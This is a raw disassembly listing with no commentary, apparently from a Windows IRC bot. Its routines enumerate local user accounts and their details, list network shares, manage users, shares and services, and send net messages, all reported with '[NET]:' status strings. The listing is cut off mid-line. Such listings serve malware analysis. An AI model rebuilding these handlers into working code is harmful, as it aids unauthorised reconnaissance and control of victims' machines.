sub_4060AF proc near ; CODE XREF: sub_4068DF+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_405F05 push [esp+8+arg_4] mov esi, eax call sub_405F05 pop ecx pop ecx push eax push esi call dword_433568 pop esi retn sub_4060AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4060D0 proc near ; CODE XREF: sub_4068DF+2Dp var_208 = byte ptr -208h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 208h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_405F05 push [ebp+arg_4] mov esi, eax call sub_405F05 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_43348C test eax, eax mov [ebp+var_8], eax jnz loc_40645D mov eax, [ebp+var_4] test eax, eax jz loc_406498 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_208] push offset aAccountS ; "Account: %S" push eax call sub_412BB5 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4045DD mov eax, [ebp+var_4] push dword ptr [eax+0Ch] lea eax, [ebp+var_208] push offset aFullNameS ; "Full Name: %S" push eax call sub_412BB5 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4045DD mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+8] lea eax, [ebp+var_208] push offset aUserCommentS ; "User Comment: %S" push eax call sub_412BB5 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4045DD mov eax, [ebp+var_4] push dword ptr [eax+4] lea eax, [ebp+var_208] push offset aCommentS ; "Comment: %S" push eax call sub_412BB5 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4045DD mov eax, [ebp+var_4] mov eax, [eax+10h] add esp, 40h sub eax, 0 jz short loc_4061E9 dec eax jz short loc_4061E2 dec eax jz short loc_4061DB mov eax, offset aUnknown ; "Unknown" jmp short loc_4061EE ; --------------------------------------------------------------------------- loc_4061DB: ; CODE XREF: sub_4060D0+102j mov eax, offset aAdministrator ; "Administrator" jmp short loc_4061EE ; --------------------------------------------------------------------------- loc_4061E2: ; CODE XREF: sub_4060D0+FFj mov eax, offset aUser_1 ; "User" jmp short loc_4061EE ; --------------------------------------------------------------------------- loc_4061E9: ; CODE XREF: sub_4060D0+FCj mov eax, offset aGuest ; "Guest" loc_4061EE: ; CODE XREF: sub_4060D0+109j ; sub_4060D0+110j ... push eax lea eax, [ebp+var_208] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_412BB5 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4045DD mov eax, [ebp+var_4] push dword ptr [eax+14h] lea eax, [ebp+var_208] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_412BB5 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4045DD mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+1Ch] lea eax, [ebp+var_208] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_412BB5 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4045DD mov eax, [ebp+var_4] push dword ptr [eax+20h] lea eax, [ebp+var_208] push offset aParametersS ; "Parameters: %S" push eax call sub_412BB5 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4045DD mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+18h] lea eax, [ebp+var_208] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_412BB5 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4045DD mov eax, [ebp+var_4] push dword ptr [eax+2Ch] lea eax, [ebp+var_208] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_412BB5 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4045DD mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+30h] lea eax, [ebp+var_208] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_412BB5 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4045DD mov eax, [ebp+var_4] push dword ptr [eax+24h] lea eax, [ebp+var_208] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_412BB5 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4045DD mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+28h] lea eax, [ebp+var_208] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_412BB5 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4045DD mov eax, [ebp+var_4] push dword ptr [eax+34h] lea eax, [ebp+var_208] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_412BB5 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4045DD mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+3Ch] lea eax, [ebp+var_208] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_412BB5 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4045DD mov eax, [ebp+var_4] push dword ptr [eax+38h] lea eax, [ebp+var_208] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_412BB5 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4045DD mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+4Ch] lea eax, [ebp+var_208] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_412BB5 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4045DD mov eax, [ebp+var_4] push dword ptr [eax+40h] lea eax, [ebp+var_208] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_412BB5 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4045DD mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+44h] lea eax, [ebp+var_208] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_412BB5 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4045DD add esp, 20h pop edi pop ebx jmp short loc_406489 ; --------------------------------------------------------------------------- loc_40645D: ; CODE XREF: sub_4060D0+35j push eax lea eax, [ebp+var_208] push offset aNetUserInfoErr ; "[NET]: User info error: <%ld>" push eax call sub_412BB5 push 0 push [ebp+arg_10] lea eax, [ebp+var_208] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_4045DD add esp, 20h loc_406489: ; CODE XREF: sub_4060D0+38Bj cmp [ebp+var_4], 0 jz short loc_406498 push [ebp+var_4] call dword_4334D8 loc_406498: ; CODE XREF: sub_4060D0+40j ; sub_4060D0+3BDj mov eax, [ebp+var_8] pop esi leave retn sub_4060D0 endp ; =============== S U B R O U T I N E ======================================= sub_40649E proc near ; CODE XREF: sub_4065CE+9Ep ; sub_406702:loc_406742p ... mov ecx, 858h cmp eax, ecx ja loc_40654C jz loc_406545 cmp eax, 7Bh ja short loc_406511 jz short loc_406507 cmp eax, 5 jz short loc_4064FD cmp eax, 8 jz short loc_4064F3 cmp eax, 32h jz short loc_4064E9 cmp eax, 35h jz short loc_4064DF cmp eax, 57h jnz loc_40659B push offset aInvalidParamet ; "Invalid parameter." jmp loc_4065BC ; --------------------------------------------------------------------------- loc_4064DF: ; CODE XREF: sub_40649E+2Cj push offset aServerNameNotF ; "Server name not found." jmp loc_4065BC ; --------------------------------------------------------------------------- loc_4064E9: ; CODE XREF: sub_40649E+27j push offset aThisNetworkReq ; "This network request is not supported." jmp loc_4065BC ; --------------------------------------------------------------------------- loc_4064F3: ; CODE XREF: sub_40649E+22j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_4065BC ; --------------------------------------------------------------------------- loc_4064FD: ; CODE XREF: sub_40649E+1Dj push offset aAccessDenied_ ; "Access denied." jmp loc_4065BC ; --------------------------------------------------------------------------- loc_406507: ; CODE XREF: sub_40649E+18j push offset aTheNameIsInval ; "The name is invalid." jmp loc_4065BC ; --------------------------------------------------------------------------- loc_406511: ; CODE XREF: sub_40649E+16j sub eax, 7Ch jz short loc_40653E sub eax, 7C8h jz short loc_406537 dec eax jz short loc_40652D dec eax jnz short loc_40659B push offset aDuplicateShare ; "Duplicate share name." jmp loc_4065BC ; --------------------------------------------------------------------------- loc_40652D: ; CODE XREF: sub_40649E+80j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_4065BC ; --------------------------------------------------------------------------- loc_406537: ; CODE XREF: sub_40649E+7Dj push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_4065BC ; --------------------------------------------------------------------------- loc_40653E: ; CODE XREF: sub_40649E+76j push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_4065BC ; --------------------------------------------------------------------------- loc_406545: ; CODE XREF: sub_40649E+Dj push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_4065BC ; --------------------------------------------------------------------------- loc_40654C: ; CODE XREF: sub_40649E+7j mov ecx, 8C5h cmp eax, ecx ja short loc_406585 jz short loc_40657E sub eax, 8ADh jz short loc_4065B0 dec eax dec eax jz short loc_406577 dec eax jz short loc_406570 dec eax dec eax jnz short loc_40659B push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_4065BC ; --------------------------------------------------------------------------- loc_406570: ; CODE XREF: sub_40649E+C5j push offset aTheUserAccount ; "The user account already exists." jmp short loc_4065BC ; --------------------------------------------------------------------------- loc_406577: ; CODE XREF: sub_40649E+C2j push offset aTheGroupAlread ; "The group already exists." jmp short loc_4065BC ; --------------------------------------------------------------------------- loc_40657E: ; CODE XREF: sub_40649E+B7j push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_4065BC ; --------------------------------------------------------------------------- loc_406585: ; CODE XREF: sub_40649E+B5j sub eax, 8CAh jz short loc_4065B7 sub eax, 17h jz short loc_4065B0 sub eax, 25h jz short loc_4065A9 sub eax, 29h jz short loc_4065A2 loc_40659B: ; CODE XREF: sub_40649E+31j ; sub_40649E+83j ... push offset aAnUnknownError ; "An unknown error occurred." jmp short loc_4065BC ; --------------------------------------------------------------------------- loc_4065A2: ; CODE XREF: sub_40649E+FBj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_4065BC ; --------------------------------------------------------------------------- loc_4065A9: ; CODE XREF: sub_40649E+F6j push offset aShareNotFound_ ; "Share not found." jmp short loc_4065BC ; --------------------------------------------------------------------------- loc_4065B0: ; CODE XREF: sub_40649E+BEj ; sub_40649E+F1j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_4065BC ; --------------------------------------------------------------------------- loc_4065B7: ; CODE XREF: sub_40649E+ECj push offset aNetworkConnect ; "Network connection not found." loc_4065BC: ; CODE XREF: sub_40649E+3Cj ; sub_40649E+46j ... push offset dword_4338C8 call sub_412BB5 pop ecx pop ecx mov eax, offset dword_4338C8 retn sub_40649E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4065CE proc near ; CODE XREF: sub_4078FA+1DEFp var_71C = byte ptr -71Ch var_31C = byte ptr -31Ch var_10C = byte ptr -10Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 71Ch push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_71C] push eax call sub_4140FA add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_10C] mov esi, 108h push eax mov [ebp+var_4], esi call ds:dword_41F0B0 push esi lea eax, [ebp+var_10C] push eax lea eax, [ebp+var_31C] push eax call sub_4140FA lea eax, [ebp+var_71C] push eax call sub_413FEE add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_71C] push eax push 0 lea eax, [ebp+var_31C] push eax push 0 call dword_4334B4 test eax, eax jnz short loc_40665E push offset aNetMessageSent ; "[NET]: Message sent successfully." mov esi, offset dword_433928 push esi call sub_412BB5 pop ecx pop ecx jmp short loc_406685 ; --------------------------------------------------------------------------- loc_40665E: ; CODE XREF: sub_4065CE+7Aj lea ecx, [ebp+var_71C] push ecx lea ecx, [ebp+var_31C] push ecx call sub_40649E push eax push offset aNetSServerSMes ; "[NET]: %s <Server: %S> <Message: %S>" mov esi, offset dword_433928 push esi call sub_412BB5 add esp, 14h loc_406685: ; CODE XREF: sub_4065CE+8Ej mov eax, esi pop esi leave retn sub_4065CE endp ; =============== S U B R O U T I N E ======================================= sub_40668A proc near ; CODE XREF: sub_4078FA:loc_4094ECp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_4066E0 push 0 lea esi, [eax+eax*2] push 0 shl esi, 2 push dword_42A400[esi] push edi push eax call sub_405BA9 add esp, 14h test eax, eax jnz short loc_4066D2 push edi push off_42A3FC[esi] push offset aNetSServiceS_ ; "[NET]: %s service: '%s'." loc_4066C2: ; CODE XREF: sub_40668A+54j mov esi, offset dword_433B28 push esi call sub_412BB5 add esp, 10h jmp short loc_4066FD ; --------------------------------------------------------------------------- loc_4066D2: ; CODE XREF: sub_40668A+2Aj call sub_405C4B push eax push edi push offset aNetErrorWithSe ; "[NET]: Error with service: '%s'. %s" jmp short loc_4066C2 ; --------------------------------------------------------------------------- loc_4066E0: ; CODE XREF: sub_40668A+Cj lea eax, [eax+eax*2] push off_42A3F8[eax*4] mov esi, offset dword_433B28 push offset aNetSNoServiceS ; "[NET]: %s: No service specified." push esi call sub_412BB5 add esp, 0Ch loc_4066FD: ; CODE XREF: sub_40668A+46j pop edi mov eax, esi pop esi retn sub_40668A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406702 proc near ; CODE XREF: sub_4078FA:loc_4095D0p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_40679A mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_40672B dec eax jnz short loc_40677A push edi push 0 call sub_406032 pop ecx pop ecx jmp short loc_406776 ; --------------------------------------------------------------------------- loc_40672B: ; CODE XREF: sub_406702+18j cmp [ebp+arg_8], 0 jnz short loc_406768 push 24h push edi call sub_413F30 test eax, eax pop ecx pop ecx jnz short loc_406768 push 57h pop eax loc_406742: ; CODE XREF: sub_406702+76j call sub_40649E push eax push edi lea eax, [esi+esi*2] push off_42A3F8[eax*4] mov esi, offset dword_433D28 push offset aNetSErrorWithS ; "[NET]: %s: Error with share: '%s'. %s" push esi call sub_412BB5 add esp, 14h jmp short loc_4067BA ; --------------------------------------------------------------------------- loc_406768: ; CODE XREF: sub_406702+2Dj ; sub_406702+3Bj push [ebp+arg_8] push edi push 0 call sub_405FC7 add esp, 0Ch loc_406776: ; CODE XREF: sub_406702+27j test eax, eax jnz short loc_406742 loc_40677A: ; CODE XREF: sub_406702+1Bj push edi lea eax, [esi+esi*2] push off_42A3FC[eax*4] mov esi, offset dword_433D28 push offset aNetSShareS_ ; "[NET]: %s share: '%s'." push esi call sub_412BB5 add esp, 10h jmp short loc_4067BA ; --------------------------------------------------------------------------- loc_40679A: ; CODE XREF: sub_406702+Aj mov eax, [ebp+arg_0] lea eax, [eax+eax*2] push off_42A3F8[eax*4] mov esi, offset dword_433D28 push offset aNetSNoShareSpe ; "[NET]: %s: No share specified." push esi call sub_412BB5 add esp, 0Ch loc_4067BA: ; CODE XREF: sub_406702+64j ; sub_406702+96j pop edi mov eax, esi pop esi pop ebp retn sub_406702 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4067C0 proc near ; CODE XREF: sub_4078FA+1D03p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push ebx push esi push edi push [ebp+arg_C] call sub_405F05 xor esi, esi push esi push [ebp+arg_8] mov [ebp+var_10], eax push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] mov [ebp+var_4], esi push [ebp+arg_0] mov [ebp+var_14], esi mov [ebp+var_C], esi call sub_4045DD add esp, 18h loc_4067F9: ; CODE XREF: sub_4067C0+10Dj lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax push 0FFFFFFFFh lea eax, [ebp+var_8] push eax push 1F6h push [ebp+var_10] call dword_4335A0 mov ebx, eax cmp ebx, esi jz short loc_40685A cmp ebx, 0EAh jz short loc_40685A push ebx call sub_40649E push eax lea eax, [ebp+var_214] push offset aNetShareListEr ; "[NET]: Share list error: %s <%ld>" push eax call sub_412BB5 push esi push [ebp+arg_8] lea eax, [ebp+var_214] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4045DD add esp, 24h jmp short loc_4068C7 ; --------------------------------------------------------------------------- loc_40685A: ; CODE XREF: sub_4067C0+5Dj ; sub_4067C0+65j xor edi, edi inc edi cmp [ebp+var_4], edi jb short loc_4068BE mov esi, [ebp+var_8] add esi, 14h loc_406868: ; CODE XREF: sub_4067C0+FAj push dword ptr [esi+10h] call dword_433598 test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_40687F mov eax, offset aNo ; "No" loc_40687F: ; CODE XREF: sub_4067C0+B8j push eax push dword ptr [esi] lea eax, [ebp+var_214] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_412BB5 push 1 push [ebp+arg_8] lea eax, [ebp+var_214] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4045DD add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+var_4] jbe short loc_406868 xor esi, esi loc_4068BE: ; CODE XREF: sub_4067C0+A0j push [ebp+var_8] call dword_4334D8 loc_4068C7: ; CODE XREF: sub_4067C0+98j cmp ebx, 0EAh jz loc_4067F9 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_4067C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4068DF proc near ; CODE XREF: sub_4078FA:loc_409672p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_406982 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_406921 dec eax jz short loc_406916 dec eax jnz short loc_40693C push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_4060D0 add esp, 14h jmp short loc_406938 ; --------------------------------------------------------------------------- loc_406916: ; CODE XREF: sub_4068DF+1Dj push ebx push edi call sub_4060AF pop ecx pop ecx jmp short loc_406938 ; --------------------------------------------------------------------------- loc_406921: ; CODE XREF: sub_4068DF+1Aj cmp [ebp+arg_8], edi jz short loc_406935 push [ebp+arg_8] push ebx push edi call sub_406055 add esp, 0Ch jmp short loc_406938 ; --------------------------------------------------------------------------- loc_406935: ; CODE XREF: sub_4068DF+45j push 57h pop eax loc_406938: ; CODE XREF: sub_4068DF+35j ; sub_4068DF+40j ... cmp eax, edi jnz short loc_40695C loc_40693C: ; CODE XREF: sub_4068DF+20j push ebx lea eax, [esi+esi*2] push off_42A3FC[eax*4] mov esi, offset dword_433F28 push offset aNetSUsernameS_ ; "[NET]: %s username: '%s'." push esi call sub_412BB5 add esp, 10h jmp short loc_4069A2 ; --------------------------------------------------------------------------- loc_40695C: ; CODE XREF: sub_4068DF+5Bj call sub_40649E push eax push ebx lea eax, [esi+esi*2] push off_42A3F8[eax*4] mov esi, offset dword_433F28 push offset aNetSErrorWithU ; "[NET]: %s: Error with username: '%s'. %"... push esi call sub_412BB5 add esp, 14h jmp short loc_4069A2 ; --------------------------------------------------------------------------- loc_406982: ; CODE XREF: sub_4068DF+Dj mov eax, [ebp+arg_0] lea eax, [eax+eax*2] push off_42A3F8[eax*4] mov esi, offset dword_433F28 push offset aNetSNoUsername ; "[NET]: %s: No username specified." push esi call sub_412BB5 add esp, 0Ch loc_4069A2: ; CODE XREF: sub_4068DF+7Bj ; sub_4068DF+A1j pop edi mov eax, esi pop esi pop ebx pop ebp retn sub_4068DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4069A9 proc near ; CODE XREF: sub_4078FA+1DA5p var_21C = byte ptr -21Ch var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 21Ch push esi push edi push [ebp+arg_C] xor esi, esi mov [ebp+var_4], esi call sub_405F05 push esi push [ebp+arg_8] mov [ebp+var_18], eax push offset aUsernameAccoun ; "Username accounts for local system:" push [ebp+arg_4] mov [ebp+var_8], esi push [ebp+arg_0] mov [ebp+var_14], esi mov [ebp+var_1C], esi mov [ebp+var_C], esi call sub_4045DD add esp, 18h push ebx loc_4069E8: ; CODE XREF: sub_4069A9+129j lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_8] push eax push 0FFFFFFFFh lea eax, [ebp+var_4] push eax push 2 push esi push [ebp+var_18] call dword_433480 cmp eax, esi mov [ebp+var_10], eax jz short loc_406A47 cmp eax, 0EAh jz short loc_406A47 push eax call sub_40649E push eax lea eax, [ebp+var_21C] push offset aNetUserListErr ; "[NET]: User list error: %s <%ld>" push eax call sub_412BB5 push esi push [ebp+arg_8] lea eax, [ebp+var_21C] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4045DD add esp, 24h jmp short loc_406AB8 ; --------------------------------------------------------------------------- loc_406A47: ; CODE XREF: sub_4069A9+62j ; sub_4069A9+69j mov edi, [ebp+var_4] cmp edi, esi jz short loc_406ACB xor ebx, ebx cmp [ebp+var_8], esi jbe short loc_406AB8 loc_406A55: ; CODE XREF: sub_4069A9+E7j cmp edi, esi lea eax, [ebp+var_21C] jz short loc_406A94 push dword ptr [edi] push offset aS_2 ; " %S" push eax call sub_412BB5 push 1 push [ebp+arg_8] lea eax, [ebp+var_21C] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4045DD add esp, 20h add edi, 4 inc [ebp+var_C] inc ebx cmp ebx, [ebp+var_8] jb short loc_406A55 jmp short loc_406AB8 ; --------------------------------------------------------------------------- loc_406A94: ; CODE XREF: sub_4069A9+B4j push offset aNetAnAccessVio ; "[NET]: An access violation has occured."... push eax call sub_412BB5 push esi push [ebp+arg_8] lea eax, [ebp+var_21C] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4045DD add esp, 1Ch loc_406AB8: ; CODE XREF: sub_4069A9+9Cj ; sub_4069A9+AAj ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_406ACB push edi call dword_4334D8 xor edi, edi mov [ebp+var_4], edi loc_406ACB: ; CODE XREF: sub_4069A9+A3j ; sub_4069A9+114j cmp [ebp+var_10], 0EAh jz loc_4069E8 cmp edi, esi pop ebx jz short loc_406AE4 push edi call dword_4334D8 loc_406AE4: ; CODE XREF: sub_4069A9+132j push [ebp+var_C] lea eax, [ebp+var_21C] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_412BB5 push esi push [ebp+arg_8] lea eax, [ebp+var_21C] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4045DD add esp, 20h xor eax, eax cmp [ebp+var_10], esi pop edi setz al pop esi leave retn sub_4069A9 endp ; =============== S U B R O U T I N E ======================================= sub_406B1D proc near ; CODE XREF: sub_4028A8+7Dp ; sub_4038B7+4Ap ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_433514 cmp eax, 0FFFFFFFFh jnz short locret_406B45 push [esp+arg_0] call dword_433500 test eax, eax jnz short loc_406B3E or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_406B3E: ; CODE XREF: sub_406B1D+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_406B45: ; CODE XREF: sub_406B1D+Dj retn sub_406B1D endp ; =============== S U B R O U T I N E ======================================= sub_406B46 proc near ; CODE XREF: sub_40779B+138p mov ecx, dword_433584 xor eax, eax test ecx, ecx jz short locret_406B54 jmp ecx ; --------------------------------------------------------------------------- locret_406B54: ; CODE XREF: sub_406B46+Aj retn sub_406B46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=78h sub_406B55 proc near ; CODE XREF: sub_4078FA:loc_40BA88p var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp lea ebp, [esp-78h] sub esp, 88h push ebx push esi xor eax, eax push edi inc eax push eax mov [ebp+78h+var_4], eax lea eax, [ebp+78h+var_8] xor ebx, ebx push eax push ebx xor esi, esi mov [ebp+78h+var_8], ebx call dword_4334AC mov ecx, eax sub ecx, ebx jz short loc_406BE5 sub ecx, 32h jz loc_406C2C sub ecx, 48h jz short loc_406BB0 sub ecx, 6Eh jz short loc_406BA9 loc_406B95: ; CODE XREF: sub_406B55+8Ej push eax lea eax, [ebp+78h+var_88] push offset aFlushdnsErrorG ; "[FLUSHDNS]: Error getting ARP cache: <%"... push eax call sub_412BB5 add esp, 0Ch jmp short loc_406C0D ; --------------------------------------------------------------------------- loc_406BA9: ; CODE XREF: sub_406B55+3Ej push offset aFlushdnsArpCac ; "[FLUSHDNS]: ARP cache is empty." jmp short loc_406C02 ; --------------------------------------------------------------------------- loc_406BB0: ; CODE XREF: sub_406B55+39j push [ebp+78h+var_8] call sub_41344D pop ecx mov ecx, [ebp+78h+var_8] mov edx, ecx mov esi, eax shr ecx, 2 xor eax, eax mov edi, esi rep stosd mov ecx, edx and ecx, 3 cmp esi, ebx rep stosb jz short loc_406BFD push 1 lea eax, [ebp+78h+var_8] push eax push esi call dword_4334AC cmp eax, ebx jnz short loc_406B95 loc_406BE5: ; CODE XREF: sub_406B55+2Bj cmp [esi], ebx jbe short loc_406C1A lea edi, [esi+4] loc_406BEC: ; CODE XREF: sub_406B55+A4j push edi call dword_43350C inc ebx add edi, 18h cmp ebx, [esi] jb short loc_406BEC jmp short loc_406C1A ; --------------------------------------------------------------------------- loc_406BFD: ; CODE XREF: sub_406B55+7Dj push offset aFlushdnsUnable ; "[FLUSHDNS]: Unable to allocation ARP ca"... loc_406C02: ; CODE XREF: sub_406B55+59j ; sub_406B55+DCj lea eax, [ebp+78h+var_88] push eax call sub_412BB5 pop ecx pop ecx loc_406C0D: ; CODE XREF: sub_406B55+52j lea eax, [ebp+78h+var_88] push eax mov [ebp+78h+var_4], ebx call sub_401C33 pop ecx loc_406C1A: ; CODE XREF: sub_406B55+92j ; sub_406B55+A6j push esi call sub_412FE4 mov eax, [ebp+78h+var_4] pop ecx pop edi pop esi pop ebx add ebp, 78h leave retn ; --------------------------------------------------------------------------- loc_406C2C: ; CODE XREF: sub_406B55+30j push offset aFlushdnsNotSup ; "[FLUSHDNS]: Not supported by this syste"... jmp short loc_406C02 sub_406B55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406C33 proc near ; CODE XREF: sub_401141+21Bp ; sub_401141+32Ap ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push edi xor eax, eax lea edi, [ebp+var_14] stosd stosd stosd stosd lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] mov [ebp+var_4], 10h call dword_433418 movzx eax, [ebp+var_D] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" mov esi, offset dword_434128 push esi call sub_412BB5 add esp, 18h pop edi mov eax, esi pop esi leave retn sub_406C33 endp ; =============== S U B R O U T I N E ======================================= sub_406C89 proc near ; CODE XREF: sub_41046C+437p ; sub_41046C+48Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] xor edx, edx cmp ecx, 1 push esi jle short loc_406CB4 lea eax, [ecx-2] shr eax, 1 inc eax mov esi, eax neg esi lea ecx, [ecx+esi*2] mov esi, [esp+4+arg_0] push edi loc_406CA7: ; CODE XREF: sub_406C89+26j movzx edi, word ptr [esi] add edx, edi inc esi inc esi dec eax jnz short loc_406CA7 pop edi jmp short loc_406CB8 ; --------------------------------------------------------------------------- loc_406CB4: ; CODE XREF: sub_406C89+Aj mov esi, [esp+4+arg_0] loc_406CB8: ; CODE XREF: sub_406C89+29j test ecx, ecx jz short loc_406CC1 movzx eax, byte ptr [esi] add edx, eax loc_406CC1: ; CODE XREF: sub_406C89+31j mov ecx, edx shr ecx, 10h and edx, 0FFFFh add ecx, edx mov eax, ecx shr eax, 10h add eax, ecx not eax pop esi retn sub_406C89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406CD9 proc near ; DATA XREF: sub_4078FA+50A8o var_10320 = byte ptr -10320h var_344 = byte ptr -344h var_144 = dword ptr -144h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr 